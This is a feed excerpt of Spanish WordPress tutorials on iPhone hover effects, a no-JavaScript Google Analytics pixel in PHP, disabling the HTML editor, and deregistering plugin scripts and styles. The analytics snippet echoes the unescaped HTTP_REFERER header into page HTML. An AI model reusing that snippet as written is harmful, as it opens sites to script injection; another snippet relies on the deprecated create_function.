<h3>Simular la clase pseudo :hover</h3>
<p>Como no se usa ratón en el iPhone no se utiliza la pseudo clase :hover. Sin embargo,  usando Javascript puedes simular la clase pseudo :hover cuando el usuario apoye el dedo sobre un enlace:</p>
<div class="igBar"><span id="ljavascript-51"><a href="http://feedproxy.google.com/~r/AyudaWordpress/~3/BjzCMyD6pd8/#" onclick="javascript:showCodeTxt('javascript-51'); return false;">Clic para ver Texto Plano</a></span></div>
<div class="syntax_hilite"><span class="langName">JavaScript:</span>
<div id="javascript-51">
<div class="javascript">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #003366; font-weight: bold;">var</span> myLinks = document.<span style="color: #006600;">getElementsByTagName</span><span style="color: #66cc66;">&#40;</span><span style="color: #3366CC;">'a'</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #000066; font-weight: bold;">for</span><span style="color: #66cc66;">&#40;</span><span style="color: #003366; font-weight: bold;">var</span> i = <span style="color: #CC0000;color:#800000;">0</span>; i &lt;myLinks.<span style="color: #006600;">length</span>; i++<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp;myLinks<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>.<span style="color: #006600;">addEventListener</span><span style="color: #66cc66;">&#40;</span><span style="color: #3366CC;">'touchstart'</span>, <span style="color: #003366; font-weight: bold;">function</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span><span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #006600;">className</span> = <span style="color: #3366CC;">"hover"</span>;<span style="color: #66cc66;">&#125;</span>, <span style="color: #003366; font-weight: bold;">false</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp;myLinks<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>.<span style="color: #006600;">addEventListener</span><span style="color: #66cc66;">&#40;</span><span style="color: #3366CC;">'touchend'</span>, <span style="color: #003366; font-weight: bold;">function</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span><span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #006600;">className</span> = <span style="color: #3366CC;">""</span>;<span style="color: #66cc66;">&#125;</span>, <span style="color: #003366; font-weight: bold;">false</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #66cc66;">&#125;</span> </div>
</li>
</ol>
</div>
</div>
</div>
<p>
Tras añadir el código anterior puedes aplicar algo de estilo CSS:</p>
<div class="igBar"><span id="lcss-52"><a href="http://feedproxy.google.com/~r/AyudaWordpress/~3/BjzCMyD6pd8/#" onclick="javascript:showCodeTxt('css-52'); return false;">Clic para ver Texto Plano</a></span></div>
<div class="syntax_hilite"><span class="langName">CSS:</span>
<div id="css-52">
<div class="css">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">a:hover, a<span style="color: #6666ff;">.hover </span><span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #808080; font-style: italic;">/* el efecto hover que sea*/</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #66cc66;">&#125;</span> </div>
</li>
</ol>
</div>
</div>
</div>
<p>
<strong>Fuente: <a href="http://www.evotech.net/blog/2008/12/hover-pseudoclass-for-the-iphone/" >http://www.evotech.net/blog/2008/12/hover-pseudoclass-for-the-iphone/</a></strong><br />
<h3><font color="#000080">Contenido exclusivo para suscriptores al Feed</font></h3>
<p><font color="#808080">¡Gracias por seguirnos a diario!. Premiamos tu fidelidad ofreciéndote habitualmente contenidos exclusivos. Hoy puedes descargar:</font></p>
<p><a href="http://ayudawordpress.com/descargas/tutoriales/adminwordpress.zip" title="Clic aquí para iniciar la descarga"><img src="http://ayudawordpress.com/wp-content/uploads/2008/01/wp-install.jpg" alt="Clic aquí para iniciar la descarga" align="middle" border="0" height="59" width="43" /> Guía para Administrar Wordpress</a></p>



¿Te gustó este post? ¡Compártelo!


	<a rel="nofollow"  href="http://bitacoras.com/anotaciones/http%3A%2F%2Fayudawordpress.com%2Fprepara-tu-sitio-para-iphone%2F" title="Bitacoras.com"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/bitacoras.png" title="Bitacoras.com" alt="Bitacoras.com" class="sociable-hovers" /></a>
	<a rel="nofollow"  href="http://twitter.com/home?status=http%3A%2F%2Fayudawordpress.com%2Fprepara-tu-sitio-para-iphone%2F" title="TwitThis"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/twitter.png" title="TwitThis" alt="TwitThis" class="sociable-hovers" /></a>
	<a rel="nofollow"  href="http://www.facebook.com/share.php?u=http%3A%2F%2Fayudawordpress.com%2Fprepara-tu-sitio-para-iphone%2F&amp;t=Prepara%20tu%20sitio%20para%20iPhone" title="Facebook"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a>
	<a rel="nofollow"  href="http://meneame.net/submit.php?url=http%3A%2F%2Fayudawordpress.com%2Fprepara-tu-sitio-para-iphone%2F" title="Meneame"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/meneame.png" title="Meneame" alt="Meneame" class="sociable-hovers" /></a>
	<a rel="nofollow"  href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fayudawordpress.com%2Fprepara-tu-sitio-para-iphone%2F&amp;title=Prepara%20tu%20sitio%20para%20iPhone&amp;annotation=%0D%0A%0D%0AImpresionante%20la%20recopilaci%C3%B3n%20realizada%20por%20Cats%20who%20code%20sobre%20c%C3%B3digos%20con%20los%20que%20adaptar%20tu%20sitio%20a%20la%20visualizaci%C3%B3n%20en%20iPhone.%20Como%20creo%20que%20es%20de%20un%20gran%20inter%C3%A9s%20para%20desarrolladores%20y%20usuarios%20avanzados%20y%20que%2C%20por%20supuesto%2C%20son%20aplicabl" title="Google Bookmarks"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a>
	<a rel="nofollow"  href="http://delicious.com/post?url=http%3A%2F%2Fayudawordpress.com%2Fprepara-tu-sitio-para-iphone%2F&amp;title=Prepara%20tu%20sitio%20para%20iPhone&amp;notes=%0D%0A%0D%0AImpresionante%20la%20recopilaci%C3%B3n%20realizada%20por%20Cats%20who%20code%20sobre%20c%C3%B3digos%20con%20los%20que%20adaptar%20tu%20sitio%20a%20la%20visualizaci%C3%B3n%20en%20iPhone.%20Como%20creo%20que%20es%20de%20un%20gran%20inter%C3%A9s%20para%20desarrolladores%20y%20usuarios%20avanzados%20y%20que%2C%20por%20supuesto%2C%20son%20aplicabl" title="del.icio.us"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a>
	<a rel="nofollow"  href="https://favorites.live.com/quickadd.aspx?marklet=1&amp;url=http%3A%2F%2Fayudawordpress.com%2Fprepara-tu-sitio-para-iphone%2F&amp;title=Prepara%20tu%20sitio%20para%20iPhone" title="Live"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/live.png" title="Live" alt="Live" class="sociable-hovers" /></a>
	<a rel="nofollow"  href="http://technorati.com/faves?add=http%3A%2F%2Fayudawordpress.com%2Fprepara-tu-sitio-para-iphone%2F" title="Technorati"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/technorati.png" title="Technorati" alt="Technorati" class="sociable-hovers" /></a>
	<a rel="nofollow"  href="http://ping.fm/ref/?link=http%3A%2F%2Fayudawordpress.com%2Fprepara-tu-sitio-para-iphone%2F&amp;title=Prepara%20tu%20sitio%20para%20iPhone&amp;body=%0D%0A%0D%0AImpresionante%20la%20recopilaci%C3%B3n%20realizada%20por%20Cats%20who%20code%20sobre%20c%C3%B3digos%20con%20los%20que%20adaptar%20tu%20sitio%20a%20la%20visualizaci%C3%B3n%20en%20iPhone.%20Como%20creo%20que%20es%20de%20un%20gran%20inter%C3%A9s%20para%20desarrolladores%20y%20usuarios%20avanzados%20y%20que%2C%20por%20supuesto%2C%20son%20aplicabl" title="Ping.fm"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/ping.png" title="Ping.fm" alt="Ping.fm" class="sociable-hovers" /></a>
	<a rel="nofollow"  href="http://www.wikio.com/vote?url=http%3A%2F%2Fayudawordpress.com%2Fprepara-tu-sitio-para-iphone%2F" title="Wikio"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/wikio.png" title="Wikio" alt="Wikio" class="sociable-hovers" /></a>
	<a rel="nofollow"  href="http://www.printfriendly.com/getpf?url=http%3A%2F%2Fayudawordpress.com%2Fprepara-tu-sitio-para-iphone%2F" title="Turn this article into a PDF!"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/pdf.png" title="Turn this article into a PDF!" alt="Turn this article into a PDF!" class="sociable-hovers" /></a>
	<a rel="nofollow"  href="mailto:?subject=Prepara%20tu%20sitio%20para%20iPhone&amp;body=http%3A%2F%2Fayudawordpress.com%2Fprepara-tu-sitio-para-iphone%2F" title="E-mail this story to a friend!"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/email_link.png" title="E-mail this story to a friend!" alt="E-mail this story to a friend!" class="sociable-hovers" /></a>
	<a rel="nofollow"  href="http://www.printfriendly.com/print?url=http%3A%2F%2Fayudawordpress.com%2Fprepara-tu-sitio-para-iphone%2F" title="Print this article!"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/printfriendly.png" title="Print this article!" alt="Print this article!" class="sociable-hovers" /></a>


<br/><br/><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/AyudaWordpress?a=BjzCMyD6pd8:c7DnfKP5ciY:Dsqc8YHEA1Y"><img src="http://feeds.feedburner.com/~ff/AyudaWordpress?i=BjzCMyD6pd8:c7DnfKP5ciY:Dsqc8YHEA1Y" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/AyudaWordpress/~4/BjzCMyD6pd8" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://feedproxy.google.com/~r/AyudaWordpress/~3/BjzCMyD6pd8/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Las estadísticas pérdidas de Analytics</title>
		<link>http://carrero.es/las-estadisticas-perdidas-de-analytics/4639</link>
		<comments>http://carrero.es/las-estadisticas-perdidas-de-analytics/4639#comments</comments>
		<pubDate>Thu, 28 Jan 2010 07:41:08 +0000</pubDate>
		<dc:creator>planetawordpress</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[analytics]]></category>
		<category><![CDATA[estadísticas]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[sitios web]]></category>

		<guid isPermaLink="false">http://carrero.es/?p=4639</guid>
		<description><![CDATA[Seguro que utilizas Google Analytics para las estadísticas de tus sitios web, al igual que hacemos en medio mundo, yo también lo hago. Pero hasta hace poco no había pensado en que sucedía con las visitas que no son capaces de ejecutar o cargar código JavaScript.
Estamos perdiendo información estadística por este pequeño detalle, y la [...]<p>Original Post / Entrada Original: <a href="http://carrero.es">Carrero.es</a>. Si quieres <a href="http://juegosweb.com">Juegos Gratis</a> disfruta aqu&#237; o <a href="http://decoracion2.com">decora tu casa</a>.<br /><br /><a href="http://carrero.es/las-estadisticas-perdidas-de-analytics/4639">Las estadísticas pérdidas de Analytics</a></p>
]]></description>
			<content:encoded><![CDATA[<p>Seguro que utilizas Google Analytics para las estadísticas de tus sitios web, al igual que hacemos en medio mundo, yo también lo hago. Pero hasta hace poco no había pensado en <strong>que sucedía con las visitas que no son capaces de ejecutar o cargar código JavaScript</strong>.</p>
<p><strong>Estamos perdiendo información estadística</strong> por este pequeño detalle, y la verdad después de más de un mes de prueba no son pocas las visitas que no se registran, por lo que es importante ponerse manos a la obra para no perder información.</p>
<p>Para esta tarea con WordPress os recomiendo el plugin <em>noscript</em> que se encarga de generar el código de analytics sin JavaScript en base a tu ID de analytics y así no perder esa valiosa información para nuestra web. En las estadísticas podrás verlo como origen de referidos &#8220;<em>noscript</em>&#8220;.</p>
<p>Descargar <a href="http://remysharp.com/downloads/noscript.php" >plugin noscript</a> para WordPress.</p>
<p>También<strong> lo puedes hacer forma manual si no tienes WordPress</strong>. Es una tarea realmente sencilla, solo tienes que utilizar el código php siguiente cambiando las variables por tu ID y dominio.</p>
<blockquote>
<pre><code>$var_utmac = 'UA-12345-6'; // tu identificador
$var_utmhn = 'http://mydomain.com'; //introduce tu dominio
$var_referer = @$_SERVER['HTTP_REFERER']; //url referida

$var_utmp = '/noscript'; //este ejemplo añade noscript como solicitud de fichero para llevar un seguimiento

$var_utmn = rand(1000000000,9999999999); //solicitud de número aletario
$var_cookie = rand(10000000,99999999); //número para cookie aleatoria
$var_random = rand(1000000000,2147483647); //número por debajo de 2147483647
$var_today = time(); //hoy
$var_uservar = '-'; //introduce tu variable de usuario definida

$urchinUrl = 'http://www.google-analytics.com/__utm.gif?utmwv=1&amp;utmn='.$var_utmn.'&amp;utmsr=-&amp;utmsc=-&amp;utmul=-&amp;utmje=0&amp;utmfl=-&amp;utmdt=-&amp;utmhn='.$var_utmhn.'&amp;utmr='.$var_referer.'&amp;utmp='.$var_utmp.'&amp;utmac='.$var_utmac.'&amp;utmcc=__utma%3D'.$var_cookie.'.'.$var_random.'.'.$var_today.'.'.$var_today.'.'.$var_today.'.2%3B%2B__utmb%3D'.$var_cookie.'%3B%2B__utmc%3D'.$var_cookie.'%3B%2B__utmz%3D'.$var_cookie.'.'.$var_today.'.2.2.utmccn%3D(direct)%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)%3B%2B__utmv%3D'.$var_cookie.'.'.$var_uservar.'%3B';

echo '&lt;noscript&gt;&lt;img src="' . $urchinUrl . '" /&gt;&lt;/noscript&gt;';
</code></pre>
</blockquote>
<p>vía: <a href="http://remysharp.com/2009/10/15/the-missing-stat-noscript/" >remy sharp</a></p>
<p>Original Post / Entrada Original: <a href="http://carrero.es">Carrero.es</a>. Si quieres <a href="http://juegosweb.com">Juegos Gratis</a> disfruta aqu&iacute; o <a href="http://decoracion2.com">decora tu casa</a>.<br/><br/><a href="http://carrero.es/las-estadisticas-perdidas-de-analytics/4639">Las estadísticas pérdidas de Analytics</a></p>
]]></content:encoded>
			<wfw:commentRss>http://carrero.es/las-estadisticas-perdidas-de-analytics/4639/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Deshabilitar el editor HTML de nuestro WordPress</title>
		<link>http://www.anieto2k.com/2010/01/19/deshabilitar-el-editor-html-de-nuestro-wordpress/</link>
		<comments>http://www.anieto2k.com/2010/01/19/deshabilitar-el-editor-html-de-nuestro-wordpress/#comments</comments>
		<pubDate>Tue, 19 Jan 2010 12:30:47 +0000</pubDate>
		<dc:creator>aNieto2K</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[CSS]]></category>
		<category><![CDATA[hacks]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[programación]]></category>
		<category><![CDATA[webdev]]></category>
		<category><![CDATA[wordpress.hacks]]></category>

		<guid isPermaLink="false">http://www.anieto2k.com/?p=9598</guid>
		<description><![CDATA[Aunque sin él yo no podría escribir mis artículos, es posible deshabilitar el editor HTML de nuestro Wordpress de una forma sencilla con alguna de estas opciones: 1) CSS: La opción con más estilo (¿lo pillais? :P) Sin duda se trata de la solución más rápida y sencilla ya que simplemente tendremos que añadir un [...]]]></description>
			<content:encoded><![CDATA[Aunque sin él yo no podría escribir mis artículos, es posible <a href="http://wpengineer.com/disable-html-editor-wordpress/">deshabilitar el editor HTML de nuestro Wordpress</a> de una forma sencilla con alguna de estas opciones:
<h3>1) CSS: La opción con más estilo (¿lo pillais? :P)</h3>
Sin duda se trata de la solución más rápida y sencilla ya que simplemente tendremos que añadir un estilo CSS al panel de administrador.
<pre><code><strong>// Añadir el CSS directamente
</strong>function removeHTMLEditorCSS(){
 echo '&lt;style type="text/css"&gt;#editor-toolbar #edButtonHTML, #quicktags {display: none;}&lt;/style&gt;';
}

add_action('admin_head', 'removeHTMLEditorCSS');

<strong>// Añadir un fichero CSS externo
</strong><em>fichero: removeHTMLEditor.css</em>
#editor-toolbar #edButtonHTML, #quicktags {display: none;}

wp_register_style('removeHTMLEditorCSS', '/ruta/css/removeHTMLEditor.css');
wp_enqueue_style('removeHTMLEditorCSS');</code></pre>
<h3>2) Javascript: La más rápida</h3>
Desde Javascript podemos borrar directamente el botón y no permitir usar esta opción:
<pre><code>function removeHTMLEditorJS(){
 echo 'jQuery(document).ready(function($) {
         $("#edButtonHTML").remove();
       });';
}

add_action('admin_footer', 'removeHTMLEditorJS');
</code></pre>
<h3>3) PHP: La más limpia</h3>
En las dos anteriores, aunque son efectivas, dejamos la opción de recuperar la opción directamente desde el mismo navegador, desde PHP podemos eliminar el botón dejando la opción perfectamente deshabilitada.
<pre><code>function my_default_editor() {
 $r = 'tinymce'; // html or tinymce
 return $r;
}
add_filter( 'wp_default_editor', 'my_default_editor' );

<strong>// Versión reducida
</strong>add_filter( 'wp_default_editor', create_function('', 'return "tinymce";') );</code></pre>
<h3>Conclusión</h3>
Siempre que puedas estas cosas, deberían ir en un fichero de configuración alojado en el servidor y todas las opciones son igual de válidas.<h3>Artículos relacionados</h3>
<ul><li><a href="http://www.anieto2k.com/2007/03/28/wordpress-dashboard-editor-widgets-en-tu-dashboard/" rel="bookmark" title="Permanent Link: WordPress Dashboard Editor, widgets en tu dashboard">WordPress Dashboard Editor, widgets en tu dashboard</a></li><li><a href="http://www.anieto2k.com/2007/02/08/amplia-el-editor-enriquecido-de-wordpress-21/" rel="bookmark" title="Permanent Link: Amplia el editor enriquecido de WordPress 2.1">Amplia el editor enriquecido de WordPress 2.1</a></li><li><a href="http://www.anieto2k.com/2007/07/02/ampliando-mas-las-opciones-del-editor-enriquecido-de-wordpress/" rel="bookmark" title="Permanent Link: Ampliando más las opciones del editor enriquecido de WordPress">Ampliando más las opciones del editor enriquecido de WordPress</a></li><li><a href="http://www.anieto2k.com/2009/02/21/wordpress-28-con-un-editor-de-codigo-decente/" rel="bookmark" title="Permanent Link: WordPress 2.8 con un editor de código decente">WordPress 2.8 con un editor de código decente</a></li><li><a href="http://www.anieto2k.com/2009/09/11/nueva-funcionalidad-de-wordpress-2-9-en-la-edicion-de-imagenes/" rel="bookmark" title="Permanent Link: Nueva funcionalidad de WordPress 2.9 en la edición de imágenes">Nueva funcionalidad de WordPress 2.9 en la edición de imágenes</a></li></ul><p><a href="http://www.anieto2k.com" id="69.28.251.144"><img rel="69.28.251.144" src="http://www.anieto2k.com/favicon.ico" alt="aNieto2k" /></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.anieto2k.com/2010/01/19/deshabilitar-el-editor-html-de-nuestro-wordpress/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Como desactivar scripts y estilos</title>
		<link>http://feedproxy.google.com/~r/AyudaWordpress/~3/avj2NgcCc24/</link>
		<comments>http://feedproxy.google.com/~r/AyudaWordpress/~3/avj2NgcCc24/#comments</comments>
		<pubDate>Thu, 13 Aug 2009 22:02:58 +0000</pubDate>
		<dc:creator>planetawordpress</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[CSS]]></category>
		<category><![CDATA[Experto]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[PageNavi]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[plugins]]></category>
		<category><![CDATA[programación]]></category>
		<category><![CDATA[Sociable]]></category>
		<category><![CDATA[Themes]]></category>
		<category><![CDATA[Tutoriales / Trucos]]></category>
		<category><![CDATA[Wordpress.org]]></category>

		<guid isPermaLink="false">http://ayudawordpress.com/?p=5678</guid>
		<description><![CDATA[Hay muchos plugins y themes que añaden JavaScript y CSS a tu sitio. Esto, que en sí mismo no es malo, cuando usas varios plugins de este tipo pueden hacer verdaderas perrerías con tu sitio, mostrando una versión lamentable del mismo cuando interfieren varios estilos CSS o scripts.
Afortunadamente WordPress dispone de un sistema propio que [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://ayudawordpress.com/wp-content/uploads/2009/08/desenchufado.jpg" rel="lightbox"><img src="http://ayudawordpress.com/wp-content/uploads/2009/08/desenchufado-346x500.jpg" alt="desenchufado" width="346" height="500" class="aligncenter size-medium wp-image-5683" /></a></p>
<p>Hay muchos <strong>plugins y themes que añaden JavaScript y CSS</strong> a tu sitio. Esto, que en sí mismo no es malo, cuando usas varios plugins de este tipo pueden hacer verdaderas perrerías con tu sitio, mostrando una versión lamentable del mismo cuando <strong>interfieren varios estilos CSS o scripts</strong>.</p>
<p>Afortunadamente <a href="http://justintadlock.com/archives/2009/08/06/how-to-disable-scripts-and-styles">WordPress dispone de un sistema propio</a> que permite <strong>anular estos scripts y estilos</strong>.</p>
<p>En este ejemplo se usan dos plugins muy populares, <strong>Contact Form 7</strong> y <strong>WP-PageNavi</strong>, pero puedes aplicarlo a otros similares, como Sociable, que también peca de lo mismo.</p>
<p><span></span></p>
<h3>La cruda realidad</h3>
<p>No todos los plugins hacen bien el trabajo cargando scripts y estilos, muchos de ellos solo piensan en su funcionalidad, <strong>sin tener en cuenta que tendrán que convivir con otros plugins, con tu theme, incluso con WordPress</strong>. Muchos desarrolladores meten &#8220;lo suyo&#8221; y luego  te tienes que buscar la vida si hay problemas, incluso recomendándote (cuando les preguntas) que desactives los otros plugins o &#8220;cambies de theme&#8221; (verídico).</p>
<p>No todos los plugins usan métodos adecuados para la carga de scripts y estilos. La mayor parte de las ocasiones es porque no dominan dos importantes funciones de WordPress: <code>wp_enqueue_script()</code> y <code>wp_enqueue_style()</code>. Si el autor de un plugin/theme no usa estas funciones mejor búscate otro plugin/theme o anímale a hacerlo. Lo que hacen es permitir al resto convivir con su código.</p>
<p>Una vez tengas claro que scripts o CSS quieres desactivar ya te puedes poner manos a la obra …</p>
<h3>Desactivando JavaScript</h3>
<p>En el ejemplo vamos a desactivar el Javascript del plugin Contact Form 7. Lo primero que tenemos que hacer es encontrar la llamada al script. Para eso abrimos el fichero <code>wp-contact-form-7.php</code> en un editor de texto y buscamos la cadena <code>wp_enqueue_script</code>. Encontraremos lo siguiente:</p>
<pre>wp_enqueue_script( 'contact-form-7', wpcf7_plugin_url( 'contact-form-7.js' ), array('jquery', 'jquery-form'), WPCF7_VERSION, $in_footer );</pre>
<p>La llamada al Javascript del plugin es, en consecuencia, <code>contact-form-7</code>. Ahora ya podemos cerrar el archivo y seguir adelante.</p>
<p>A continuación abrimos el fichero <code>functions.php</code> de tu theme y añadimos este código PHP:</p>
<pre>add_action( 'wp_print_scripts', 'my_deregister_javascript', 100 );

function my_deregister_javascript() {
	wp_deregister_script( 'contact-form-7' );
}</pre>
<p>Guardamos el archivo y lo que conseguimos es que el script no se vuelva a cargar. Puedes desactivar (desregistrar) tantos scripts como quieras con esta función.</p>
<h3>Desactivando estilos</h3>
<p>Para este ejemplo vamos a desactivar la hoja de estilos del plugin WP-PageNavi. Y es que es casi mejor siempre añadir estilos en tu CSS, y no que los coja de las carpetas de los plugins, a veces actualizan los plugins con cambios de CSS que pueden destrozar tu theme.</p>
<p>Lo primero que tenemos que hacer es abrir el fichero <code>wp-pagenavi.php</code> en un editor de texto y buscar <code>wp_enqueue_style</code>. Lo que encontramos es este código:</p>
<pre>wp_enqueue_style('wp-pagenavi', get_stylesheet_directory_uri().'/pagenavi-css.css', false, '2.50', 'all');</pre>
<p>Y también este otro:</p>
<pre>wp_enqueue_style('wp-pagenavi', plugins_url('wp-pagenavi/pagenavi-css.css'), false, '2.50', 'all');</pre>
<p>Lo que estamos buscando es como Page Navi gestiona los estilos. Una vez lo hemos encontrado ya lo podemos cerrar (tras analizarlo) y añadir lo siguiente al fichero <code>functions.php</code> de tu theme:</p>
<pre>add_action( 'wp_print_styles', 'my_deregister_styles', 100 );

function my_deregister_styles() {
	wp_deregister_style( 'wp-pagenavi' );
}</pre>
<p>Con esto desactivamos la hoja de estilos de este plugin. Como antes, puedes &#8220;desregistrar&#8221; cuantos estilos quieras con esta función.</p>
<h3>Trucos para mejorar la tarea</h3>
<p>Ahora que hemos desactivado scripts y estilos hay algunas cosas que podemos hacer para mejorar esta técnica o darle otros usos:</p>
<ul>
<li>Coloca los estilos desactivados (o los que quieras cambiar) al final de tu hoja de estilos (<code>style.css</code>), añadiendo algún comentario que los identifique, que muestre a qué afectan.</li>
<li>Combina varios scripts en un solo archivo y cárgalos tu mismo.</li>
<li>Usa tags condicionales para afinar el control de la carga de estilos y/o scripts.</li>
<li>Si desactivas algo puede que el plugin/theme deje de funcionar correctamente. La mayoría de los estilos puedes añadirlos a la hoja de estilos de tu theme para así no cargar varias hojas de estilos. Pero con el Javascript es distinto, con este tipo de código solo combina varios scripts si sabes realmente lo que estás haciendo</li>
</ul>
<p>¿Te gustó este post? ¡Compártelo!</p>
<p>	<a rel="nofollow" href="http://bitacoras.com/anotaciones/http%3A%2F%2Fayudawordpress.com%2Fcomo-desactivar-scripts-y-estilos%2F" title="Bitacoras.com"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/bitacoras.png" alt="Bitacoras.com" class="sociable-hovers" /></a><br />
	<a rel="nofollow" href="http://twitter.com/home?status=http%3A%2F%2Fayudawordpress.com%2Fcomo-desactivar-scripts-y-estilos%2F" title="TwitThis"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/twitter.png" alt="TwitThis" class="sociable-hovers" /></a><br />
	<a rel="nofollow" href="http://www.facebook.com/share.php?u=http%3A%2F%2Fayudawordpress.com%2Fcomo-desactivar-scripts-y-estilos%2F&amp;t=Como%20desactivar%20scripts%20y%20estilos" title="Facebook"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/facebook.png" alt="Facebook" class="sociable-hovers" /></a><br />
	<a rel="nofollow" href="http://meneame.net/submit.php?url=http%3A%2F%2Fayudawordpress.com%2Fcomo-desactivar-scripts-y-estilos%2F" title="Meneame"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/meneame.png" alt="Meneame" class="sociable-hovers" /></a><br />
	<a rel="nofollow" href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fayudawordpress.com%2Fcomo-desactivar-scripts-y-estilos%2F&amp;title=Como%20desactivar%20scripts%20y%20estilos&amp;annotation=%0D%0A%0D%0AHay%20muchos%20plugins%20y%20themes%20que%20a%C3%B1aden%20JavaScript%20y%20CSS%20a%20tu%20sitio.%20Esto%2C%20que%20en%20s%C3%AD%20mismo%20no%20es%20malo%2C%20cuando%20usas%20varios%20plugins%20de%20este%20tipo%20pueden%20hacer%20verdaderas%20perrer%C3%ADas%20con%20tu%20sitio%2C%20mostrando%20una%20versi%C3%B3n%20lamentable%20del%20mismo%20cuando%20in" title="Google Bookmarks"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/googlebookmark.png" alt="Google Bookmarks" class="sociable-hovers" /></a><br />
	<a rel="nofollow" href="http://delicious.com/post?url=http%3A%2F%2Fayudawordpress.com%2Fcomo-desactivar-scripts-y-estilos%2F&amp;title=Como%20desactivar%20scripts%20y%20estilos&amp;notes=%0D%0A%0D%0AHay%20muchos%20plugins%20y%20themes%20que%20a%C3%B1aden%20JavaScript%20y%20CSS%20a%20tu%20sitio.%20Esto%2C%20que%20en%20s%C3%AD%20mismo%20no%20es%20malo%2C%20cuando%20usas%20varios%20plugins%20de%20este%20tipo%20pueden%20hacer%20verdaderas%20perrer%C3%ADas%20con%20tu%20sitio%2C%20mostrando%20una%20versi%C3%B3n%20lamentable%20del%20mismo%20cuando%20in" title="del.icio.us"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/delicious.png" alt="del.icio.us" class="sociable-hovers" /></a><br />
	<a rel="nofollow" href="https://favorites.live.com/quickadd.aspx?marklet=1&amp;url=http%3A%2F%2Fayudawordpress.com%2Fcomo-desactivar-scripts-y-estilos%2F&amp;title=Como%20desactivar%20scripts%20y%20estilos" title="Live"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/live.png" alt="Live" class="sociable-hovers" /></a><br />
	<a rel="nofollow" href="http://technorati.com/faves?add=http%3A%2F%2Fayudawordpress.com%2Fcomo-desactivar-scripts-y-estilos%2F" title="Technorati"><img src="http://ayudawordpress.com/wp-content/plugins/sociable/images/technorati.png" alt="Technorati" class="sociable-hovers" /></a><br />
